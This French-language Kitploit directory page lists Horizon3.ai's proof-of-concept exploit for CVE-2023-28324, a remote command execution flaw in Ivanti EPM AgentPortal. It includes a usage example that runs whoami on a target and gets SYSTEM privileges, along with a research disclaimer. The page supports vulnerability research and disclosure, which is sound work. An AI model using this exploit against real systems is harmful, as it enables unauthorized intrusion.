Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-28324 — Ivanti EPM AgentPortal RCE Vulnerability | Kitploit
Outils/GitHubGitHub/horizon3ai/cve-2023-28324
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubhorizon3ai/cve-2023-28324

CVE-2023-28324

Ivanti EPM AgentPortal RCE Vulnerability

Voir le dépôt
206il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-28324

POC pour CVE-2023-28324 affectant Ivanti EPM.

Analyse technique

Une analyse technique de la cause racine de la vulnérabilité peut être trouvée sur notre blog : https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-28324-deep-dive/

Résumé

Ce POC exploite une vulnérabilité dans AgentPortal.exe pour exécuter des commandes arbitraires. Pour que ce POC fonctionne, vous devez fournir vos propres références à AgentPortal.exe et APCommon.dll provenant d'une installation Ivanti EPM.

Utilisation

root@kitploit:~
CVE-2023-28324.exe 192.168.1.21 49668 whoami.exe
Sending request.
Request result: True
Waiting for result.
Waiting for result.
Result: nt authority\system

Suivez l'équipe d'attaque Horizon3.ai sur Twitter pour les dernières recherches en sécurité :

  • Horizon3 Attack Team
  • James Horseman
  • Zach Hanley

Avertissement

Ce logiciel a été créé purement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.

Télécharger l’outil